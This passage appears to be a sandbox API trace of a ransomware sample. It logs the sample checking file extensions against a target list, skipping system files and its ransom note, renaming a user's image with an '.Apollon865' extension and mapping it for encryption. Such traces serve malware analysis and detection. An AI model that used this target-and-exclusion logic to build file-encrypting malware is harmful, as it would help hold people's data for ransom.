	[0087.463] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0087.463] lstrlenW (lpString="hdb") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0087.463] lstrlenW (lpString="his") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0087.463] lstrlenW (lpString="ib") returned 2
	[0087.463] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0087.463] lstrlenW (lpString="idb") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0087.463] lstrlenW (lpString="ihx") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0087.463] lstrlenW (lpString="itdb") returned 4
	[0087.463] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0087.463] lstrlenW (lpString="itw") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0087.463] lstrlenW (lpString="jet") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0087.463] lstrlenW (lpString="jtx") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0087.463] lstrlenW (lpString="kdb") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0087.464] lstrlenW (lpString="kexi") returned 4
	[0087.464] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0087.464] lstrlenW (lpString="kexic") returned 5
	[0087.464] lstrcmpiW (lpString1="F.png", lpString2="kexic") returned -1
	[0087.464] lstrlenW (lpString="kexis") returned 5
	[0087.464] lstrcmpiW (lpString1="F.png", lpString2="kexis") returned -1
	[0087.464] lstrlenW (lpString="lgc") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0087.464] lstrlenW (lpString="lwx") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0087.464] lstrlenW (lpString="maf") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0087.464] lstrlenW (lpString="maq") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0087.464] lstrlenW (lpString="mar") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0087.464] lstrlenW (lpString="marshal") returned 7
	[0087.464] lstrcmpiW (lpString1="s3F.png", lpString2="marshal") returned 1
	[0087.464] lstrlenW (lpString="mas") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0087.464] lstrlenW (lpString="mav") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0087.464] lstrlenW (lpString="maw") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0087.464] lstrlenW (lpString="mdbhtml") returned 7
	[0087.464] lstrcmpiW (lpString1="s3F.png", lpString2="mdbhtml") returned 1
	[0087.464] lstrlenW (lpString="mdn") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0087.464] lstrlenW (lpString="mdt") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0087.464] lstrlenW (lpString="mfd") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0087.464] lstrlenW (lpString="mpd") returned 3
	[0087.464] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0087.465] lstrlenW (lpString="mrg") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0087.465] lstrlenW (lpString="mud") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0087.465] lstrlenW (lpString="mwb") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0087.465] lstrlenW (lpString="myd") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0087.465] lstrlenW (lpString="ndf") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0087.465] lstrlenW (lpString="nnt") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0087.465] lstrlenW (lpString="nrmlib") returned 6
	[0087.465] lstrcmpiW (lpString1="3F.png", lpString2="nrmlib") returned -1
	[0087.465] lstrlenW (lpString="ns2") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0087.465] lstrlenW (lpString="ns3") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0087.465] lstrlenW (lpString="ns4") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0087.465] lstrlenW (lpString="nsf") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0087.465] lstrlenW (lpString="nv") returned 2
	[0087.465] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0087.465] lstrlenW (lpString="nv2") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0087.465] lstrlenW (lpString="nwdb") returned 4
	[0087.465] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0087.465] lstrlenW (lpString="nyf") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0087.465] lstrlenW (lpString="odb") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0087.465] lstrlenW (lpString="odb") returned 3
	[0087.465] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0087.466] lstrlenW (lpString="oqy") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0087.466] lstrlenW (lpString="ora") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0087.466] lstrlenW (lpString="orx") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0087.466] lstrlenW (lpString="owc") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0087.466] lstrlenW (lpString="p96") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0087.466] lstrlenW (lpString="p97") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0087.466] lstrlenW (lpString="pan") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0087.466] lstrlenW (lpString="pdb") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0087.466] lstrlenW (lpString="pdm") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0087.466] lstrlenW (lpString="pnz") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0087.466] lstrlenW (lpString="qry") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0087.466] lstrlenW (lpString="qvd") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0087.466] lstrlenW (lpString="rbf") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0087.466] lstrlenW (lpString="rctd") returned 4
	[0087.466] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0087.466] lstrlenW (lpString="rod") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0087.466] lstrlenW (lpString="rodx") returned 4
	[0087.466] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0087.466] lstrlenW (lpString="rpd") returned 3
	[0087.466] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0087.467] lstrlenW (lpString="rsd") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0087.467] lstrlenW (lpString="sas7bdat") returned 8
	[0087.467] lstrcmpiW (lpString1="zs3F.png", lpString2="sas7bdat") returned 1
	[0087.467] lstrlenW (lpString="sbf") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0087.467] lstrlenW (lpString="scx") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0087.467] lstrlenW (lpString="sdb") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0087.467] lstrlenW (lpString="sdc") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0087.467] lstrlenW (lpString="sdf") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0087.467] lstrlenW (lpString="sis") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0087.467] lstrlenW (lpString="spq") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0087.467] lstrlenW (lpString="te") returned 2
	[0087.467] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0087.467] lstrlenW (lpString="teacher") returned 7
	[0087.467] lstrcmpiW (lpString1="s3F.png", lpString2="teacher") returned -1
	[0087.467] lstrlenW (lpString="tmd") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0087.467] lstrlenW (lpString="tps") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0087.467] lstrlenW (lpString="trc") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0087.467] lstrlenW (lpString="trc") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0087.467] lstrlenW (lpString="trm") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0087.467] lstrlenW (lpString="udb") returned 3
	[0087.467] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0087.468] lstrlenW (lpString="udl") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0087.468] lstrlenW (lpString="usr") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0087.468] lstrlenW (lpString="v12") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0087.468] lstrlenW (lpString="vis") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0087.468] lstrlenW (lpString="vpd") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0087.468] lstrlenW (lpString="vvv") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0087.468] lstrlenW (lpString="wdb") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0087.468] lstrlenW (lpString="wmdb") returned 4
	[0087.468] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0087.468] lstrlenW (lpString="wrk") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0087.468] lstrlenW (lpString="xdb") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0087.468] lstrlenW (lpString="xld") returned 3
	[0087.468] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0087.468] lstrlenW (lpString="xmlff") returned 5
	[0087.468] lstrcmpiW (lpString1="F.png", lpString2="xmlff") returned -1
	[0087.468] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\elhfq4Hany-ai6Ffzs3F.png.Apollon865") returned 84
	[0087.468] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\elhfq4Hany-ai6Ffzs3F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\elhfq4hany-ai6ffzs3f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\elhfq4Hany-ai6Ffzs3F.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\elhfq4hany-ai6ffzs3f.png.apollon865"), dwFlags=0x1) returned 1
	[0087.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\elhfq4Hany-ai6Ffzs3F.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\elhfq4hany-ai6ffzs3f.png.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.470] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=47738) returned 1
	[0087.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.470] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.471] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.471] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.471] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd80, lpName=0x0) returned 0x15c
	[0087.472] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd80) returned 0x100000
	[0087.473] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.474] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.474] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.475] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.475] CloseHandle (hObject=0x15c) returned 1
	[0087.475] CloseHandle (hObject=0x9c) returned 1
	[0087.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.477] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5e5fb0, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0xf5f5f190, ftLastAccessTime.dwHighDateTime=0x1d4ce3d, ftLastWriteTime.dwLowDateTime=0xf5f5f190, ftLastWriteTime.dwHighDateTime=0x1d4ce3d, nFileSizeHigh=0x0, nFileSizeLow=0x117ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G1cm-ONDud.bmp", cAlternateFileName="G1CM-O~1.BMP")) returned 1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2=".") returned 1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="..") returned 1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="windows") returned -1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="bootmgr") returned 1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="temp") returned -1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="pagefile.sys") returned -1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="boot") returned 1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="ids.txt") returned -1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="ntuser.dat") returned -1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="perflogs") returned -1
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2="MSBuild") returned -1
	[0087.477] lstrlenW (lpString="G1cm-ONDud.bmp") returned 14
	[0087.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\elhfq4Hany-ai6Ffzs3F.png") returned 73
	[0087.477] lstrcpyW (in: lpString1=0x119e66a, lpString2="G1cm-ONDud.bmp" | out: lpString1="G1cm-ONDud.bmp") returned="G1cm-ONDud.bmp"
	[0087.477] lstrlenW (lpString="G1cm-ONDud.bmp") returned 14
	[0087.477] lstrlenW (lpString="Apollon865") returned 10
	[0087.477] lstrcmpiW (lpString1="-ONDud.bmp", lpString2="Apollon865") returned 1
	[0087.477] lstrlenW (lpString=".dll") returned 4
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2=".dll") returned 1
	[0087.477] lstrlenW (lpString=".lnk") returned 4
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2=".lnk") returned 1
	[0087.477] lstrlenW (lpString=".ini") returned 4
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2=".ini") returned 1
	[0087.477] lstrlenW (lpString=".sys") returned 4
	[0087.477] lstrcmpiW (lpString1="G1cm-ONDud.bmp", lpString2=".sys") returned 1
	[0087.477] lstrlenW (lpString="G1cm-ONDud.bmp") returned 14
	[0087.477] lstrlenW (lpString="bak") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0087.478] lstrlenW (lpString="ba_") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0087.478] lstrlenW (lpString="dbb") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0087.478] lstrlenW (lpString="vmdk") returned 4
	[0087.478] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0087.478] lstrlenW (lpString="rar") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0087.478] lstrlenW (lpString="zip") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0087.478] lstrlenW (lpString="tgz") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0087.478] lstrlenW (lpString="vbox") returned 4
	[0087.478] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0087.478] lstrlenW (lpString="vdi") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0087.478] lstrlenW (lpString="vhd") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0087.478] lstrlenW (lpString="vhdx") returned 4
	[0087.478] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0087.478] lstrlenW (lpString="avhd") returned 4
	[0087.478] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0087.478] lstrlenW (lpString="db") returned 2
	[0087.478] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0087.478] lstrlenW (lpString="db2") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0087.478] lstrlenW (lpString="db3") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0087.478] lstrlenW (lpString="dbf") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0087.478] lstrlenW (lpString="mdf") returned 3
	[0087.478] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0087.478] lstrlenW (lpString="mdb") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0087.479] lstrlenW (lpString="sql") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0087.479] lstrlenW (lpString="sqlite") returned 6
	[0087.479] lstrcmpiW (lpString1="ud.bmp", lpString2="sqlite") returned 1
	[0087.479] lstrlenW (lpString="sqlite3") returned 7
	[0087.479] lstrcmpiW (lpString1="Dud.bmp", lpString2="sqlite3") returned -1
	[0087.479] lstrlenW (lpString="sqlitedb") returned 8
	[0087.479] lstrcmpiW (lpString1="NDud.bmp", lpString2="sqlitedb") returned -1
	[0087.479] lstrlenW (lpString="xml") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0087.479] lstrlenW (lpString="$er") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0087.479] lstrlenW (lpString="4dd") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0087.479] lstrlenW (lpString="4dl") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0087.479] lstrlenW (lpString="^^^") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0087.479] lstrlenW (lpString="abs") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0087.479] lstrlenW (lpString="abx") returned 3
	[0087.479] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0087.479] lstrlenW (lpString="accdb") returned 5
	[0087.479] lstrcmpiW (lpString1="d.bmp", lpString2="accdb") returned 1
	[0087.479] lstrlenW (lpString="accdc") returned 5
	[0087.479] lstrcmpiW (lpString1="d.bmp", lpString2="accdc") returned 1
	[0087.479] lstrlenW (lpString="accde") returned 5
	[0087.479] lstrcmpiW (lpString1="d.bmp", lpString2="accde") returned 1
	[0087.479] lstrlenW (lpString="accdr") returned 5
	[0087.479] lstrcmpiW (lpString1="d.bmp", lpString2="accdr") returned 1
	[0087.479] lstrlenW (lpString="accdt") returned 5
	[0087.479] lstrcmpiW (lpString1="d.bmp", lpString2="accdt") returned 1
	[0087.479] lstrlenW (lpString="accdw") returned 5
	[0087.480] lstrcmpiW (lpString1="d.bmp", lpString2="accdw") returned 1
	[0087.480] lstrlenW (lpString="accft") returned 5
	[0087.480] lstrcmpiW (lpString1="d.bmp", lpString2="accft") returned 1
	[0087.480] lstrlenW (lpString="adb") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.480] lstrlenW (lpString="adb") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.480] lstrlenW (lpString="ade") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0087.480] lstrlenW (lpString="adf") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0087.480] lstrlenW (lpString="adn") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0087.480] lstrlenW (lpString="adp") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0087.480] lstrlenW (lpString="alf") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0087.480] lstrlenW (lpString="ask") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0087.480] lstrlenW (lpString="btr") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0087.480] lstrlenW (lpString="cat") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0087.480] lstrlenW (lpString="cdb") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0087.480] lstrlenW (lpString="ckp") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0087.480] lstrlenW (lpString="cma") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0087.480] lstrlenW (lpString="cpd") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0087.480] lstrlenW (lpString="dacpac") returned 6
	[0087.480] lstrcmpiW (lpString1="ud.bmp", lpString2="dacpac") returned 1
	[0087.480] lstrlenW (lpString="dad") returned 3
	[0087.480] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0087.481] lstrlenW (lpString="dadiagrams") returned 10
	[0087.481] lstrcmpiW (lpString1="-ONDud.bmp", lpString2="dadiagrams") returned 1
	[0087.481] lstrlenW (lpString="daschema") returned 8
	[0087.481] lstrcmpiW (lpString1="NDud.bmp", lpString2="daschema") returned 1
	[0087.481] lstrlenW (lpString="db-journal") returned 10
	[0087.481] lstrcmpiW (lpString1="-ONDud.bmp", lpString2="db-journal") returned 1
	[0087.481] lstrlenW (lpString="db-shm") returned 6
	[0087.481] lstrcmpiW (lpString1="ud.bmp", lpString2="db-shm") returned 1
	[0087.481] lstrlenW (lpString="db-wal") returned 6
	[0087.481] lstrcmpiW (lpString1="ud.bmp", lpString2="db-wal") returned 1
	[0087.481] lstrlenW (lpString="dbc") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0087.481] lstrlenW (lpString="dbs") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0087.481] lstrlenW (lpString="dbt") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0087.481] lstrlenW (lpString="dbv") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0087.481] lstrlenW (lpString="dbx") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0087.481] lstrlenW (lpString="dcb") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0087.481] lstrlenW (lpString="dct") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0087.481] lstrlenW (lpString="dcx") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0087.481] lstrlenW (lpString="ddl") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0087.481] lstrlenW (lpString="dlis") returned 4
	[0087.481] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0087.481] lstrlenW (lpString="dp1") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0087.481] lstrlenW (lpString="dqy") returned 3
	[0087.481] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0087.482] lstrlenW (lpString="dsk") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0087.482] lstrlenW (lpString="dsn") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0087.482] lstrlenW (lpString="dtsx") returned 4
	[0087.482] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0087.482] lstrlenW (lpString="dxl") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0087.482] lstrlenW (lpString="eco") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0087.482] lstrlenW (lpString="ecx") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0087.482] lstrlenW (lpString="edb") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0087.482] lstrlenW (lpString="epim") returned 4
